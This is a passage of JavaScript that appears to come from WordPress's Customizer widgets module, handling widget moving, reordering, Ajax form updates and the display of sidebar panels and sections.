sidebar, sidebarIsRendered; sidebarId = li.data( 'id' ); sidebar = api.Widgets.registeredSidebars.get( sidebarId ); sidebarIsRendered = sidebar.get( 'is_rendered' ); li.toggle( sidebarIsRendered ); if ( sidebarIsRendered ) { renderedSidebarCount += 1; } if ( li.hasClass( 'selected' ) && ! sidebarIsRendered ) { selectSidebarItem( selfSidebarItem ); } } ); if ( renderedSidebarCount > 1 ) { self.container.find( '.move-widget' ).show(); } else { self.container.find( '.move-widget' ).hide(); } }; updateAvailableSidebars(); api.Widgets.registeredSidebars.on( 'change:is_rendered', updateAvailableSidebars ); /** * Handle clicks for up/down/move on the reorder nav */ $reorderNav = this.container.find( '.widget-reorder-nav' ); $reorderNav.find( '.move-widget, .move-widget-down, .move-widget-up' ).each( function() { $( this ).prepend( self.container.find( '.widget-title' ).text() + ': ' ); } ).on( 'click keypress', function( event ) { if ( event.type === 'keypress' && ( event.which !== 13 && event.which !== 32 ) ) { return; } $( this ).trigger( 'focus' ); if ( $( this ).is( '.move-widget' ) ) { self.toggleWidgetMoveArea(); } else { var isMoveDown = $( this ).is( '.move-widget-down' ), isMoveUp = $( this ).is( '.move-widget-up' ), i = self.getWidgetSidebarPosition(); if ( ( isMoveUp && i === 0 ) || ( isMoveDown && i === self.getSidebarWidgetsControl().setting().length - 1 ) ) { return; } if ( isMoveUp ) { self.moveUp(); wp.a11y.speak( l10n.widgetMovedUp ); } else { self.moveDown(); wp.a11y.speak( l10n.widgetMovedDown ); } $( this ).trigger( 'focus' ); // Re-focus after the container was moved. } } ); /** * Handle selecting a sidebar to move to */ this.container.find( '.widget-area-select' ).on( 'click keypress', 'li', function( event ) { if ( event.type === 'keypress' && ( event.which !== 13 && event.which !== 32 ) ) { return; } event.preventDefault(); selectSidebarItem( $( this ) ); } ); /** * Move widget to another sidebar */ this.container.find( '.move-widget-btn' ).click( function() { self.getSidebarWidgetsControl().toggleReordering( false ); var oldSidebarId = self.params.sidebar_id, newSidebarId = self.container.find( '.widget-area-select li.selected' ).data( 'id' ), oldSidebarWidgetsSetting, newSidebarWidgetsSetting, oldSidebarWidgetIds, newSidebarWidgetIds, i; oldSidebarWidgetsSetting = api( 'sidebars_widgets[' + oldSidebarId + ']' ); newSidebarWidgetsSetting = api( 'sidebars_widgets[' + newSidebarId + ']' ); oldSidebarWidgetIds = Array.prototype.slice.call( oldSidebarWidgetsSetting() ); newSidebarWidgetIds = Array.prototype.slice.call( newSidebarWidgetsSetting() ); i = self.getWidgetSidebarPosition(); oldSidebarWidgetIds.splice( i, 1 ); newSidebarWidgetIds.push( self.params.widget_id ); oldSidebarWidgetsSetting( oldSidebarWidgetIds ); newSidebarWidgetsSetting( newSidebarWidgetIds ); self.focus(); } ); }, /** * Highlight widgets in preview when interacted with in the Customizer */ _setupHighlightEffects: function() { var self = this; // Highlight whenever hovering or clicking over the form. this.container.on( 'mouseenter click', function() { self.setting.previewer.send( 'highlight-widget', self.params.widget_id ); } ); // Highlight when the setting is updated. this.setting.bind( function() { self.setting.previewer.send( 'highlight-widget', self.params.widget_id ); } ); }, /** * Set up event handlers for widget updating */ _setupUpdateUI: function() { var self = this, $widgetRoot, $widgetContent, $saveBtn, updateWidgetDebounced, formSyncHandler; $widgetRoot = this.container.find( '.widget:first' ); $widgetContent = $widgetRoot.find( '.widget-content:first' ); // Configure update button. $saveBtn = this.container.find( '.widget-control-save' ); $saveBtn.val( l10n.saveBtnLabel ); $saveBtn.attr( 'title', l10n.saveBtnTooltip ); $saveBtn.removeClass( 'button-primary' ); $saveBtn.on( 'click', function( e ) { e.preventDefault(); self.updateWidget( { disable_form: true } ); // @todo disable_form is unused? } ); updateWidgetDebounced = _.debounce( function() { self.updateWidget(); }, 250 ); // Trigger widget form update when hitting Enter within an input. $widgetContent.on( 'keydown', 'input', function( e ) { if ( 13 === e.which ) { // Enter. e.preventDefault(); self.updateWidget( { ignoreActiveElement: true } ); } } ); // Handle widgets that support live previews. $widgetContent.on( 'change input propertychange', ':input', function( e ) { if ( ! self.liveUpdateMode ) { return; } if ( e.type === 'change' || ( this.checkValidity && this.checkValidity() ) ) { updateWidgetDebounced(); } } ); // Remove loading indicators when the setting is saved and the preview updates. this.setting.previewer.channel.bind( 'synced', function() { self.container.removeClass( 'previewer-loading' ); } ); api.previewer.bind( 'widget-updated', function( updatedWidgetId ) { if ( updatedWidgetId === self.params.widget_id ) { self.container.removeClass( 'previewer-loading' ); } } ); formSyncHandler = api.Widgets.formSyncHandlers[ this.params.widget_id_base ]; if ( formSyncHandler ) { $( document ).on( 'widget-synced', function( e, widget ) { if ( $widgetRoot.is( widget ) ) { formSyncHandler.apply( document, arguments ); } } ); } }, /** * Update widget control to indicate whether it is currently rendered. * * Overrides api.Control.toggle() * * @since 4.1.0 * * @param {boolean} active * @param {Object} args * @param {function} args.completeCallback */ onChangeActive: function ( active, args ) { // Note: there is a second 'args' parameter being passed, merged on top of this.defaultActiveArguments. this.container.toggleClass( 'widget-rendered', active ); if ( args.completeCallback ) { args.completeCallback(); } }, /** * Set up event handlers for widget removal */ _setupRemoveUI: function() { var self = this, $removeBtn, replaceDeleteWithRemove; // Configure remove button. $removeBtn = this.container.find( '.widget-control-remove' ); $removeBtn.on( 'click', function() { // Find an adjacent element to add focus to when this widget goes away. var $adjacentFocusTarget; if ( self.container.next().is( '.customize-control-widget_form' ) ) { $adjacentFocusTarget = self.container.next().find( '.widget-action:first' ); } else if ( self.container.prev().is( '.customize-control-widget_form' ) ) { $adjacentFocusTarget = self.container.prev().find( '.widget-action:first' ); } else { $adjacentFocusTarget = self.container.next( '.customize-control-sidebar_widgets' ).find( '.add-new-widget:first' ); } self.container.slideUp( function() { var sidebarsWidgetsControl = api.Widgets.getSidebarWidgetControlContainingWidget( self.params.widget_id ), sidebarWidgetIds, i; if ( ! sidebarsWidgetsControl ) { return; } sidebarWidgetIds = sidebarsWidgetsControl.setting().slice(); i = _.indexOf( sidebarWidgetIds, self.params.widget_id ); if ( -1 === i ) { return; } sidebarWidgetIds.splice( i, 1 ); sidebarsWidgetsControl.setting( sidebarWidgetIds ); $adjacentFocusTarget.focus(); // Keyboard accessibility. } ); } ); replaceDeleteWithRemove = function() { $removeBtn.text( l10n.removeBtnLabel ); // wp_widget_control() outputs the button as "Delete". $removeBtn.attr( 'title', l10n.removeBtnTooltip ); }; if ( this.params.is_new ) { api.bind( 'saved', replaceDeleteWithRemove ); } else { replaceDeleteWithRemove(); } }, /** * Find all inputs in a widget container that should be considered when * comparing the loaded form with the sanitized form, whose fields will * be aligned to copy the sanitized over. The elements returned by this * are passed into this._getInputsSignature(), and they are iterated * over when copying sanitized values over to the form loaded. * * @param {jQuery} container element in which to look for inputs * @return {jQuery} inputs * @private */ _getInputs: function( container ) { return $( container ).find( ':input[name]' ); }, /** * Iterate over supplied inputs and create a signature string for all of them together. * This string can be used to compare whether or not the form has all of the same fields. * * @param {jQuery} inputs * @return {string} * @private */ _getInputsSignature: function( inputs ) { var inputsSignatures = _( inputs ).map( function( input ) { var $input = $( input ), signatureParts; if ( $input.is( ':checkbox, :radio' ) ) { signatureParts = [ $input.attr( 'id' ), $input.attr( 'name' ), $input.prop( 'value' ) ]; } else { signatureParts = [ $input.attr( 'id' ), $input.attr( 'name' ) ]; } return signatureParts.join( ',' ); } ); return inputsSignatures.join( ';' ); }, /** * Get the state for an input depending on its type. * * @param {jQuery|Element} input * @return {string|boolean|Array|*} * @private */ _getInputState: function( input ) { input = $( input ); if ( input.is( ':radio, :checkbox' ) ) { return input.prop( 'checked' ); } else if ( input.is( 'select[multiple]' ) ) { return input.find( 'option:selected' ).map( function () { return $( this ).val(); } ).get(); } else { return input.val(); } }, /** * Update an input's state based on its type. * * @param {jQuery|Element} input * @param {string|boolean|Array|*} state * @private */ _setInputState: function ( input, state ) { input = $( input ); if ( input.is( ':radio, :checkbox' ) ) { input.prop( 'checked', state ); } else if ( input.is( 'select[multiple]' ) ) { if ( ! Array.isArray( state ) ) { state = []; } else { // Make sure all state items are strings since the DOM value is a string. state = _.map( state, function ( value ) { return String( value ); } ); } input.find( 'option' ).each( function () { $( this ).prop( 'selected', -1 !== _.indexOf( state, String( this.value ) ) ); } ); } else { input.val( state ); } }, /*********************************************************************** * Begin public API methods **********************************************************************/ /** * @return {wp.customize.controlConstructor.sidebar_widgets[]} */ getSidebarWidgetsControl: function() { var settingId, sidebarWidgetsControl; settingId = 'sidebars_widgets[' + this.params.sidebar_id + ']'; sidebarWidgetsControl = api.control( settingId ); if ( ! sidebarWidgetsControl ) { return; } return sidebarWidgetsControl; }, /** * Submit the widget form via Ajax and get back the updated instance, * along with the new widget control form to render. * * @param {Object} [args] * @param {Object|null} [args.instance=null] When the model changes, the instance is sent here; otherwise, the inputs from the form are used * @param {Function|null} [args.complete=null] Function which is called when the request finishes. Context is bound to the control. First argument is any error. Following arguments are for success. * @param {boolean} [args.ignoreActiveElement=false] Whether or not updating a field will be deferred if focus is still on the element. */ updateWidget: function( args ) { var self = this, instanceOverride, completeCallback, $widgetRoot, $widgetContent, updateNumber, params, data, $inputs, processing, jqxhr, isChanged; // The updateWidget logic requires that the form fields to be fully present. self.embedWidgetContent(); args = $.extend( { instance: null, complete: null, ignoreActiveElement: false }, args ); instanceOverride = args.instance; completeCallback = args.complete; this._updateCount += 1; updateNumber = this._updateCount; $widgetRoot = this.container.find( '.widget:first' ); $widgetContent = $widgetRoot.find( '.widget-content:first' ); // Remove a previous error message. $widgetContent.find( '.widget-error' ).remove(); this.container.addClass( 'widget-form-loading' ); this.container.addClass( 'previewer-loading' ); processing = api.state( 'processing' ); processing( processing() + 1 ); if ( ! this.liveUpdateMode ) { this.container.addClass( 'widget-form-disabled' ); } params = {}; params.action = 'update-widget'; params.wp_customize = 'on'; params.nonce = api.settings.nonce['update-widget']; params.customize_theme = api.settings.theme.stylesheet; params.customized = wp.customize.previewer.query().customized; data = $.param( params ); $inputs = this._getInputs( $widgetContent ); /* * Store the value we're submitting in data so that when the response comes back, * we know if it got sanitized; if there is no difference in the sanitized value, * then we do not need to touch the UI and mess up the user's ongoing editing. */ $inputs.each( function() { $( this ).data( 'state' + updateNumber, self._getInputState( this ) ); } ); if ( instanceOverride ) { data += '&' + $.param( { 'sanitized_widget_setting': JSON.stringify( instanceOverride ) } ); } else { data += '&' + $inputs.serialize(); } data += '&' + $widgetContent.find( '~ :input' ).serialize(); if ( this._previousUpdateRequest ) { this._previousUpdateRequest.abort(); } jqxhr = $.post( wp.ajax.settings.url, data ); this._previousUpdateRequest = jqxhr; jqxhr.done( function( r ) { var message, sanitizedForm, $sanitizedInputs, hasSameInputsInResponse, isLiveUpdateAborted = false; // Check if the user is logged out. if ( '0' === r ) { api.previewer.preview.iframe.hide(); api.previewer.login().done( function() { self.updateWidget( args ); api.previewer.preview.iframe.show(); } ); return; } // Check for cheaters. if ( '-1' === r ) { api.previewer.cheatin(); return; } if ( r.success ) { sanitizedForm = $( '<div>' + r.data.form + '</div>' ); $sanitizedInputs = self._getInputs( sanitizedForm ); hasSameInputsInResponse = self._getInputsSignature( $inputs ) === self._getInputsSignature( $sanitizedInputs ); // Restore live update mode if sanitized fields are now aligned with the existing fields. if ( hasSameInputsInResponse && ! self.liveUpdateMode ) { self.liveUpdateMode = true; self.container.removeClass( 'widget-form-disabled' ); self.container.find( 'input[name="savewidget"]' ).hide(); } // Sync sanitized field states to existing fields if they are aligned. if ( hasSameInputsInResponse && self.liveUpdateMode ) { $inputs.each( function( i ) { var $input = $( this ), $sanitizedInput = $( $sanitizedInputs[i] ), submittedState, sanitizedState, canUpdateState; submittedState = $input.data( 'state' + updateNumber ); sanitizedState = self._getInputState( $sanitizedInput ); $input.data( 'sanitized', sanitizedState ); canUpdateState = ( ! _.isEqual( submittedState, sanitizedState ) && ( args.ignoreActiveElement || ! $input.is( document.activeElement ) ) ); if ( canUpdateState ) { self._setInputState( $input, sanitizedState ); } } ); $( document ).trigger( 'widget-synced', [ $widgetRoot, r.data.form ] ); // Otherwise, if sanitized fields are not aligned with existing fields, disable live update mode if enabled. } else if ( self.liveUpdateMode ) { self.liveUpdateMode = false; self.container.find( 'input[name="savewidget"]' ).show(); isLiveUpdateAborted = true; // Otherwise, replace existing form with the sanitized form. } else { $widgetContent.html( r.data.form ); self.container.removeClass( 'widget-form-disabled' ); $( document ).trigger( 'widget-updated', [ $widgetRoot ] ); } /** * If the old instance is identical to the new one, there is nothing new * needing to be rendered, and so we can preempt the event for the * preview finishing loading. */ isChanged = ! isLiveUpdateAborted && ! _( self.setting() ).isEqual( r.data.instance ); if ( isChanged ) { self.isWidgetUpdating = true; // Suppress triggering another updateWidget. self.setting( r.data.instance ); self.isWidgetUpdating = false; } else { // No change was made, so stop the spinner now instead of when the preview would updates. self.container.removeClass( 'previewer-loading' ); } if ( completeCallback ) { completeCallback.call( self, null, { noChange: ! isChanged, ajaxFinished: true } ); } } else { // General error message. message = l10n.error; if ( r.data && r.data.message ) { message = r.data.message; } if ( completeCallback ) { completeCallback.call( self, message ); } else { $widgetContent.prepend( '<p class="widget-error"><strong>' + message + '</strong></p>' ); } } } ); jqxhr.fail( function( jqXHR, textStatus ) { if ( completeCallback ) { completeCallback.call( self, textStatus ); } } ); jqxhr.always( function() { self.container.removeClass( 'widget-form-loading' ); $inputs.each( function() { $( this ).removeData( 'state' + updateNumber ); } ); processing( processing() - 1 ); } ); }, /** * Expand the accordion section containing a control */ expandControlSection: function() { api.Control.prototype.expand.call( this ); }, /** * @since 4.1.0 * * @param {Boolean} expanded * @param {Object} [params] * @return {Boolean} False if state already applied. */ _toggleExpanded: api.Section.prototype._toggleExpanded, /** * @since 4.1.0 * * @param {Object} [params] * @return {Boolean} False if already expanded. */ expand: api.Section.prototype.expand, /** * Expand the widget form control * * @deprecated 4.1.0 Use this.expand() instead. */ expandForm: function() { this.expand(); }, /** * @since 4.1.0 * * @param {Object} [params] * @return {Boolean} False if already collapsed. */ collapse: api.Section.prototype.collapse, /** * Collapse the widget form control * * @deprecated 4.1.0 Use this.collapse() instead. */ collapseForm: function() { this.collapse(); }, /** * Expand or collapse the widget control * * @deprecated this is poor naming, and it is better to directly set control.expanded( showOrHide ) * * @param {boolean|undefined} [showOrHide] If not supplied, will be inverse of current visibility */ toggleForm: function( showOrHide ) { if ( typeof showOrHide === 'undefined' ) { showOrHide = ! this.expanded(); } this.expanded( showOrHide ); }, /** * Respond to change in the expanded state. * * @param {boolean} expanded * @param {Object} args merged on top of this.defaultActiveArguments */ onChangeExpanded: function ( expanded, args ) { var self = this, $widget, $inside, complete, prevComplete, expandControl, $toggleBtn; self.embedWidgetControl(); // Make sure the outer form is embedded so that the expanded state can be set in the UI. if ( expanded ) { self.embedWidgetContent(); } // If the expanded state is unchanged only manipulate container expanded states. if ( args.unchanged ) { if ( expanded ) { api.Control.prototype.expand.call( self, { completeCallback: args.completeCallback }); } return; } $widget = this.container.find( 'div.widget:first' ); $inside = $widget.find( '.widget-inside:first' ); $toggleBtn = this.container.find( '.widget-top button.widget-action' ); expandControl = function() { // Close all other widget controls before expanding this one. api.control.each( function( otherControl ) { if ( self.params.type === otherControl.params.type && self !== otherControl ) { otherControl.collapse(); } } ); complete = function() { self.container.removeClass( 'expanding' ); self.container.addClass( 'expanded' ); $widget.addClass( 'open' ); $toggleBtn.attr( 'aria-expanded', 'true' ); self.container.trigger( 'expanded' ); }; if ( args.completeCallback ) { prevComplete = complete; complete = function () { prevComplete(); args.completeCallback(); }; } if ( self.params.is_wide ) { $inside.fadeIn( args.duration, complete ); } else { $inside.slideDown( args.duration, complete ); } self.container.trigger( 'expand' ); self.container.addClass( 'expanding' ); }; if ( $toggleBtn.attr( 'aria-expanded' ) === 'false' ) { if ( api.section.has( self.section() ) ) { api.section( self.section() ).expand( { completeCallback: expandControl } ); } else { expandControl(); } } else { complete = function() { self.container.removeClass( 'collapsing' ); self.container.removeClass( 'expanded' ); $widget.removeClass( 'open' ); $toggleBtn.attr( 'aria-expanded', 'false' ); self.container.trigger( 'collapsed' ); }; if ( args.completeCallback ) { prevComplete = complete; complete = function () { prevComplete(); args.completeCallback(); }; } self.container.trigger( 'collapse' ); self.container.addClass( 'collapsing' ); if ( self.params.is_wide ) { $inside.fadeOut( args.duration, complete ); } else { $inside.slideUp( args.duration, function() { $widget.css( { width:'', margin:'' } ); complete(); } ); } } }, /** * Get the position (index) of the widget in the containing sidebar * * @return {number} */ getWidgetSidebarPosition: function() { var sidebarWidgetIds, position; sidebarWidgetIds = this.getSidebarWidgetsControl().setting(); position = _.indexOf( sidebarWidgetIds, this.params.widget_id ); if ( position === -1 ) { return; } return position; }, /** * Move widget up one in the sidebar */ moveUp: function() { this._moveWidgetByOne( -1 ); }, /** * Move widget up one in the sidebar */ moveDown: function() { this._moveWidgetByOne( 1 ); }, /** * @private * * @param {number} offset 1|-1 */ _moveWidgetByOne: function( offset ) { var i, sidebarWidgetsSetting, sidebarWidgetIds, adjacentWidgetId; i = this.getWidgetSidebarPosition(); sidebarWidgetsSetting = this.getSidebarWidgetsControl().setting; sidebarWidgetIds = Array.prototype.slice.call( sidebarWidgetsSetting() ); // Clone. adjacentWidgetId = sidebarWidgetIds[i + offset]; sidebarWidgetIds[i + offset] = this.params.widget_id; sidebarWidgetIds[i] = adjacentWidgetId; sidebarWidgetsSetting( sidebarWidgetIds ); }, /** * Toggle visibility of the widget move area * * @param {boolean} [showOrHide] */ toggleWidgetMoveArea: function( showOrHide ) { var self = this, $moveWidgetArea; $moveWidgetArea = this.container.find( '.move-widget-area' ); if ( typeof showOrHide === 'undefined' ) { showOrHide = ! $moveWidgetArea.hasClass( 'active' ); } if ( showOrHide ) { // Reset the selected sidebar. $moveWidgetArea.find( '.selected' ).removeClass( 'selected' ); $moveWidgetArea.find( 'li' ).filter( function() { return $( this ).data( 'id' ) === self.params.sidebar_id; } ).addClass( 'selected' ); this.container.find( '.move-widget-btn' ).prop( 'disabled', true ); } $moveWidgetArea.toggleClass( 'active', showOrHide ); }, /** * Highlight the widget control and section */ highlightSectionAndControl: function() { var $target; if ( this.container.is( ':hidden' ) ) { $target = this.container.closest( '.control-section' ); } else { $target = this.container; } $( '.highlighted' ).removeClass( 'highlighted' ); $target.addClass( 'highlighted' ); setTimeout( function() { $target.removeClass( 'highlighted' ); }, 500 ); } } ); /** * wp.customize.Widgets.WidgetsPanel * * Customizer panel containing the widget area sections. * * @since 4.4.0 * * @class wp.customize.Widgets.WidgetsPanel * @augments wp.customize.Panel */ api.Widgets.WidgetsPanel = api.Panel.extend(/** @lends wp.customize.Widgets.WigetsPanel.prototype */{ /** * Add and manage the display of the no-rendered-areas notice. * * @since 4.4.0 */ ready: function () { var panel = this; api.Panel.prototype.ready.call( panel ); panel.deferred.embedded.done(function() { var panelMetaContainer, noticeContainer, updateNotice, getActiveSectionCount, shouldShowNotice; panelMetaContainer = panel.container.find( '.panel-meta' ); // @todo This should use the Notifications API introduced to panels. See <https://core.trac.wordpress.org/ticket/38794>. noticeContainer = $( '<div></div>', { 'class': 'no-widget-areas-rendered-notice', 'role': 'alert' }); panelMetaContainer.append( noticeContainer ); /** * Get the number of active sections in the panel. * * @return {number} Number of active sidebar sections. */ getActiveSectionCount = function() { return _.filter( panel.sections(), function( section ) { return 'sidebar' === section.params.type && section.active(); } ).length; }; /** * Determine whether or not the notice should be displayed. * * @return {boolean} */ shouldShowNotice = function() { var activeSectionCount = getActiveSectionCount(); if ( 0 === activeSectionCount ) { return true; } else { return activeSectionCount !== api.Widgets.data.registeredSidebars.length; } }; /** * Update the notice. * * @return {void} */ updateNotice = function() { var activeSectionCount = getActiveSectionCount(), someRenderedMessage, nonRenderedAreaCount, registeredAreaCount; noticeContainer.empty(); registeredAreaCount = api.Widgets.data.registeredSidebars.length; if ( activeSectionCount !== registeredAreaCount ) { if ( 0 !== activeSectionCount ) { nonRenderedAreaCount = registeredAreaCount - activeSectionCount; someRenderedMessage = l10n.someAreasShown[ nonRenderedAreaCount ]; } else { someRenderedMessage = l10n.noAreasShown; } if ( someRenderedMessage ) { noticeContainer.append( $( '<p></p>', { text: someRenderedMessage } ) ); } noticeContainer.append( $( '<p></p>', { text: l10n.navigatePreview } ) ); } }; updateNotice(); /* * Set the initial visibility state for rendered notice. * Update the visibility of the notice whenever a reflow happens. */ noticeContainer.toggle( shouldShowNotice() ); api.previewer.deferred.active.done( function () { noticeContainer.toggle( shouldShowNotice() ); }); api.bind( 'pane-contents-reflowed', function() { var duration = ( 'resolved' === api.previewer.deferred.active.state() ) ? 'fast' : 0; updateNotice(); if ( shouldShowNotice() ) { noticeContainer.slideDown( duration ); } else { noticeContainer.slideUp( duration ); } }); }); }, /** * Allow an active widgets panel to be contextually active even when it has no active sections (widget areas). * * This ensures that the widgets panel appears even when there are no * sidebars displayed on the URL currently being previewed. * * @since 4.4.0 * * @return {boolean} */ isContextuallyActive: function() { var panel = this; return panel.active(); } }); /** * wp.customize.Widgets.SidebarSection * * Customizer section representing a widget area widget * * @since 4.1.0 * * @class wp.customize.Widgets.SidebarSection * @augments wp.customize.Section */ api.Widgets.SidebarSection = api.Section.extend(/** @lends wp.customize.Widgets.SidebarSection.prototype */{ /** * Sync the section's active state back to the Backbone model's is_rendered attribute * * @since 4.1.0 */ ready: function () { var section = this, registeredSidebar; api.Section.prototype.ready.call( this ); registeredSidebar = api.Widgets.registeredSidebars.get( section.params.sidebarId ); section.active.bind( function ( active ) { registeredSidebar.set( 'is_rendered', active ); }); registeredSidebar.set( 'is_rendered', section.active() ); } }); /** * wp.customize.Widgets.SidebarControl * * Customizer control for widgets. * Note that 'sidebar_widgets' must match the WP_Widget_Area_Customize_Control::$type * * @since 3.9.0 * * @class wp.customize.Widgets.SidebarControl * @augments wp.customize.Control */ api.Widgets.SidebarControl = api.Control.extend(/** @lends wp.customize.Widgets.SidebarControl.prototype */{ /** * Set up the control */ ready: function() { this.$controlSection = this.container.closest( '.control-section' ); this.$sectionContent = this.container.closest( '.accordion-section-content' ); this._setupModel(); this._setupSortable(); this._setupAddition(); this._applyCardinalOrderClassNames(); }, /** * Update ordering of widget control forms when the setting is updated */ _setupModel: function() { var self = this; this.setting.bind( function( newWidgetIds, oldWidgetIds ) { var widgetFormControls, removedWidgetIds, priority; removedWidgetIds = _( oldWidgetIds ).difference( newWidgetIds ); // Filter out any persistent widget IDs for widgets which have been deactivated. newWidgetIds = _( newWidgetIds ).filter( function( newWidgetId ) { var parsedWidgetId = parseWidgetId( newWidgetId ); return !! api.Widgets.availableWidgets.findWhere( { id_base: parsedWidgetId.id_base } ); } ); widgetFormControls = _( newWidgetIds ).map( function( widgetId ) { var widgetFormControl = api.Widgets.getWidgetFormControlForWidget( widgetId ); if ( ! widgetFormControl ) { widgetFormControl = self.addWidget( widgetId ); } return widgetFormControl; } ); // Sort widget controls to their new positions. widgetFormControls.sort( function( a, b ) { var aIndex = _.indexOf( newWidgetIds, a.params.widget_id ), bIndex = _.indexOf( newWidgetIds, b.params.widget_id ); return aIndex - bIndex; }); priority = 0; _( widgetFormControls ).each( function ( control ) { control.priority( priority ); control.section( self.section() ); priority += 1; }); self.priority( priority ); // Make sure sidebar control remains at end. // Re-sort widget form controls (including widgets form other sidebars newly moved here). self._applyCardinalOrderClassNames(); // If the widget was dragged into the sidebar, make sure the sidebar_id param is updated. _( widgetFormControls ).each( function( widgetFormControl ) { widgetFormControl.params.sidebar_id = self.params.sidebar_id; } ); // Cleanup after widget removal. _( removedWidgetIds ).each( function( removedWidgetId ) { // Using setTimeout so that when moving a widget to another sidebar, // the other sidebars_widgets settings get a chance to update. setTimeout( function() { var removedControl, wasDraggedToAnotherSidebar, inactiveWidgets, removedIdBase, widget, isPresentInAnotherSidebar = false; // Check if the widget is in another sidebar. api.each( function( otherSetting ) { if ( otherSetting.id === self.setting.id || 0 !== otherSetting.id.indexOf( 'sidebars_widgets[' ) || otherSetting.id === 'sidebars_widgets[wp_inactive_widgets]' ) { return; } var otherSidebarWidgets = otherSetting(), i; i = _.indexOf( otherSidebarWidgets, removedWidgetId ); if ( -1 !== i ) { isPresentInAnotherSidebar = true; } } ); // If the widget is present in another sidebar, abort! if ( isPresentInAnotherSidebar ) { return; } removedControl = api.Widgets.getWidgetFormControlForWidget( removedWidgetId ); // Detect if widget control was dragged to another sidebar. wasDraggedToAnotherSidebar = removedControl && $.contains( document, removedControl.container[0] ) && ! $.contains( self.$sectionContent[0], removedControl.container[0] ); // Delete any widget form controls for removed widgets. if ( removedControl && ! wasDraggedToAnotherSidebar ) { api.control.remove( removedControl.id ); removedControl.container.remove(); } // Move widget to inactive widgets sidebar (move it to Trash) if has been previously saved. // This prevents the inactive widgets sidebar from overflowing with throwaway widgets. if ( api.Widgets.savedWidgetIds[removedWidgetId] ) { inactiveWidgets = api.value( 'sidebars_widgets[wp_inactive_widgets]' )().slice(); inactiveWidgets.push( removedWidgetId ); api.value( 'sidebars_widgets[wp_inactive_widgets]' )( _( inactiveWidgets ).unique() ); } // Make old single widget available for adding again. removedIdBase = parseWidgetId( removedWidgetId ).id_base; widget = api.Widgets.availableWidgets.findWhere( { id_base: removedIdBase } ); if ( widget && ! widget.get( 'is_multi' ) ) { widget.set( 'is_disabled', false ); } } ); } ); } ); }, /** * Allow widgets in sidebar to be re-ordered, and for the order to be previewed */ _setupSortable: function() { var self = this; this.isReordering = false; /** * Update widget order setting when controls are re-ordered */ this.$sectionContent.sortable( { items: '> .customize-control-widget_form', handle: '.widget-top', axis: 'y', tolerance: 'pointer', connectWith: '.accordion-section-content:has(.customize-control-sidebar_widgets)', update: function() { var widgetContainerIds = self.$sectionContent.sortable( 'toArray' ), widgetIds; widgetIds = $.map( widgetContainerIds, function( widgetContainerId ) { return $( '#' + widgetContainerId ).find( ':input[name=widget-id]' ).val(); } ); self.setting( widgetIds ); } } ); /** * Expand other Customizer sidebar section when dragging a control widget over it, * allowing the control to be dropped into another section */ this.$controlSection.find( '.accordion-section-title' ).droppable({ accept: '.customize-control-widget_form', over: function() { var section = api.section( self.section.get() ); section.expand({ allowMultiple: true, // Prevent the section being dragged from to be collapsed. completeCallback: function () { // @todo It is not clear when refreshPositions should be called on which sections, or if it is even needed. api.section.each( function ( otherSection ) { if ( otherSection.container.find( '.customize-control-sidebar_widgets' ).length ) { otherSection.container.find( '.accordion-section-content:first' ).sortable( 'refreshPositions' ); } } ); } }); } }); /** * Keyboard-accessible reordering */ this.container.find( '.reorder-toggle' ).on( 'click', function() { self.toggleReordering( ! self.isReordering ); } ); }, /** * Set up UI for adding a new widget */ _setupAddition: function() { var self = this; this.container.find( '.add-new-widget' ).on( 'click', function() { var addNewWidgetBtn = $( this ); if ( self.$sectionContent.hasClass( 'reordering' ) ) { return; } if ( ! $( 'body' ).hasClass( 'adding-widget' ) ) { addNewWidgetBtn.attr( 'aria-expanded', 'true' ); api.Widgets.availableWidgetsPanel.open( self ); } else { addNewWidgetBtn.attr( 'aria-expanded', 'false' ); api.Widgets.availableWidgetsPanel.close(); } } ); }, /** * Add classes to the widget_form controls to assist with styling */ _applyCardinalOrderClassNames: function() { var widgetControls = []; _.each( this.setting(), function ( widgetId ) { var widgetControl = api.Widgets.getWidgetFormControlForWidget( widgetId ); if ( widgetControl ) { widgetControls.push( widgetControl ); } }); if ( 0 === widgetControls.length || ( 1 === api.Widgets.registeredSidebars.length && widgetControls.length <= 1 ) ) { this.container.find( '.reorder-toggle' ).hide(); return; } else { this.container.find( '.reorder-toggle' ).show(); } $( widgetControls ).each( function () { $( this.container ) .removeClass( 'first-widget' ) .removeClass( 'last-widget' ) .find( '.move-widget-down, .move-widget-up' ).prop( 'tabIndex', 0 ); }); _.first( widgetControls ).container .addClass( 'first-widget' ) .find( '.move-widget-up' ).prop( 'tabIndex', -1 ); _.last( widgetControls ).container .addClass( 'last-widget' ) .find( '.move-widget-down' ).prop( 'tabIndex', -1 ); }, /*********************************************************************** * Begin public API methods **********************************************************************/ /** * Enable/disable the reordering UI * * @param {boolean} showOrHide to enable/disable reordering * * @todo We should have a reordering state instead and rename this to onChangeReordering */ toggleReordering: function( showOrHide ) { var addNewWidgetBtn = this.$sectionContent.find( '.add-new-widget' ), reorderBtn = this.container.find( '.reorder-toggle' ), widgetsTitle = this.$sectionContent.find( '.widget-title' ); showOrHide = Boolean( showOrHide ); if ( showOrHide === this.$sectionContent.hasClass( 'reordering' ) ) { return; } this.isReordering = showOrHide; this.$sectionContent.toggleClass( 'reordering', showOrHide ); if ( showOrHide ) { _( this.getWidgetFormControls() ).each( function( formControl ) { formControl.collapse(); } ); addNewWidgetBtn.attr({ 'tabindex': '-1', 'aria-hidden': 'true' }); reorderBtn.attr( 'aria-label', l10n.reorderLabelOff ); wp.a11y.speak( l10n.reorderModeOn ); // Hide widget titles while reordering: title is already in the reorder controls. widgetsTitle.attr( 'aria-hidden', 'true' ); } else { addNewWidgetBtn.removeAttr( 'tabindex aria-hidden' ); reorderBtn.attr( 'aria-label', l10n.reorderLabelOn ); wp.a11y.speak( l10n.reorderModeOff ); widgetsTitle.attr( 'aria-hidden', 'false' ); } }, /** * Get the widget_form Customize controls associated with the current sidebar. * * @since 3.9.0 * @return {wp.customize.controlConstructor.widget_form[]} */ getWidgetFormControls: function() { var formControls = []; _( this.setting() ).each( function( widgetId ) { var settingId = widgetIdToSettingId( widgetId ), formControl = api.control( settingId ); if ( formControl ) { formControls.push( formControl ); } } ); return formControls; }, /** * @param {string} widgetId or an id_base for adding a previously non-existing widget. * @return {Object|false} widget_form control instance, or false on error. */ addWidget: function( widgetId ) { var self = this, controlHtml, $widget, controlType = 'widget_form', controlContainer, controlConstructor, parsedWidgetId = parseWidgetId( widgetId ), widgetNumber = parsedWidgetId.number, widgetIdBase = 